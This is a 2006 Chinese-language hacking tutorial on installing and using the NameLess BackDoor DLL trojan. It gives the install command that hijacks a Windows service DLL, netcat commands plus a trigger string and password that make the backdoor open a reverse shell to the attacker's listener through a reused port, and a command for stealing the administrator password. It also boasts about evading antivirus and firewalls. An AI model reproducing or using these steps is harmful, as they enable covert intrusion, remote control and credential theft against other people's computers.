氣瘋安全工具—新興DLL型木馬復(fù)仇記
作者：佚名 來源：不詳 發(fā)布時間：2006-3-9 20:48:59
增大字體
NameLess BackDoor是一款新興的DLL型木馬，這個木馬出世沒多久，但絕對是一匹極有潛質(zhì)的千里駒。
說起NameLess BackDoor的前身來，不得不提及榕哥的BITS和WinEggDrop的PortLess。這兩款大名鼎鼎的木馬曾經(jīng)都風(fēng)光一時，可以說是木馬界的元老了。而NameLess BackDoor則是匯集了上面這兩款木馬的優(yōu)點(diǎn)，在目標(biāo)機(jī)器的進(jìn)程管理器中看不到，平時沒有端口，提供正向連接和反向連接兩種功能。同時NameLess BackDoor又去除了各處的缺點(diǎn)，比如反彈的cmd.exe進(jìn)程，在目標(biāo)機(jī)器的進(jìn)程管理中也可以隱藏?zé)o需利用BITS服務(wù)等（馬兒：不開端口，無進(jìn)程，看看防火墻和殺毒軟件還能拿我怎么辦！氣死你，哈哈）。
NameLess BackDoor實戰(zhàn)演練
將NameLess BackDoor安裝上遠(yuǎn)程主機(jī)到連接木馬控制主機(jī)，就像一場進(jìn)行在殺毒軟件和防火墻眼皮底下，卻又無聲無悄的暗戰(zhàn)。
一、隨風(fēng)潛入夜——安裝
下載NameLess BackDoor木馬，壓縮包中有兩個名為NameLess.dll的DLL文件，一個Pack壓縮加過殼的，一個是Unpack未壓縮加殼的。先在本地用各種殺毒軟件掃描一下這兩個文件（筆者用的是最新病毒庫的KV2005），但是一向以殺毒能力著稱的KV2005竟然對這兩個木馬文件視而不見。呵，這下子可以放心的在任何環(huán)境下進(jìn)行安裝了。
怎么將木馬安裝到遠(yuǎn)程的
電腦上呢？當(dāng)然最簡單的就是掃描要攻擊
電腦上的系統(tǒng)漏洞，然后進(jìn)行攻擊入侵控制。方法很多了，反正你拿到遠(yuǎn)程主機(jī)的控制權(quán)后，將上面的任意一個“NameLess.dll”文件上傳到遠(yuǎn)程主機(jī)上的。在這里筆者是使用Ttelnet遠(yuǎn)程連接后，寫入一個FTP下載的BAT文件，直接在本地建立了一個FTP服務(wù)器，通過FTP服務(wù)器下載上傳文件的（這些內(nèi)容以前雜志介紹過，這里就不作過多的講解啦）。下面重點(diǎn)來看看我是怎樣安裝木馬文件的吧！
在遠(yuǎn)程Ttelnet命令窗口中切換到文件上傳目錄中，并輸入如下命令（如圖1）：
Rundll32 NameLess.dll,Install
執(zhí)行該命令后后門就被安裝成功了，后門會自動替換系統(tǒng)服務(wù)Sens的ServiceDll文件，在
電腦重啟后以Svchost.exe啟動。
小提示：由于NameLess BackDoor是一個DLL型木馬，因此在安裝和啟動的過程中，遠(yuǎn)程主機(jī)上的殺毒軟件不會有任何提示和反應(yīng)。
二、穿墻細(xì)無聲——連接
安裝和啟動的過程中順利地搞定了殺毒軟件，下面看看NameLess BackDoor怎么讓防火墻無能為力的。
小提示：NameLess BackDoor有兩種連接方式：正向連接和反向連接，其中反向方式連接可以讓防火墻不會發(fā)出任何提示。同時NameLess BackDoor在連接后門時使用了端口復(fù)用技術(shù)，通過重用系統(tǒng)進(jìn)程開放的任意一個端口，因此可以輕松的穿透各種防火墻。
我們首先需要掃描遠(yuǎn)程主機(jī)上開放了哪些端口，假設(shè)某臺遠(yuǎn)程主機(jī)（IP地址為：192.168.1.11）上開放了139端口，那么可以本地打開一個命令窗口，切換到瑞士軍刀NC所在的目錄中，運(yùn)行如下命令：
nc
-l -p 12345
命令執(zhí)行后將在本地監(jiān)聽12345端口，然后再打開一個命令窗口，輸入如下命令（如圖2）：
nc 192.168.1.11 139
建立連接后輸入如下內(nèi)容（如圖3）：
dargun|192.168.1.11:12345
其中的IP地址可根據(jù)具體情況進(jìn)行更改。命令執(zhí)行后，在剛才的監(jiān)聽窗口中就可以看到出現(xiàn)了連接提示：“Enter Password:”，輸入密碼158352692后就可以成功的登陸遠(yuǎn)程主機(jī)而不被防火墻發(fā)現(xiàn)了?。ㄈ绻沂欠阑饓?，一定氣瘋了，哈）
三、為我所欲為——控制
成功“氣死”殺毒軟件和“逼瘋”防火墻后，現(xiàn)在就可以控制遠(yuǎn)程主機(jī)了。NameLess
BackDoor的強(qiáng)大也體現(xiàn)在它的控制功能上，連接登陸遠(yuǎn)程主機(jī)后，輸入help命令，即可看到詳細(xì)的命令幫助信息（如圖4）。如果你使用過winshell或wineggdropshell的話，應(yīng)該對這種模式的后門就不會陌生，不過就算從來沒有使用過這樣的后門，也會感覺很簡單的。
1.巧盜管理員密碼
連接上遠(yuǎn)程主機(jī)后該干什么呢？我得好好想一想……呵呵，看看管理員的密碼是多少吧！
在命令窗口中直接輸入“findpass”命令，很快就可以看到管理員的密碼了（如圖5），真是夠簡單的！
相關(guān)文章:winkld.dll 木馬,dll木馬,msdc32.dll木馬,wint
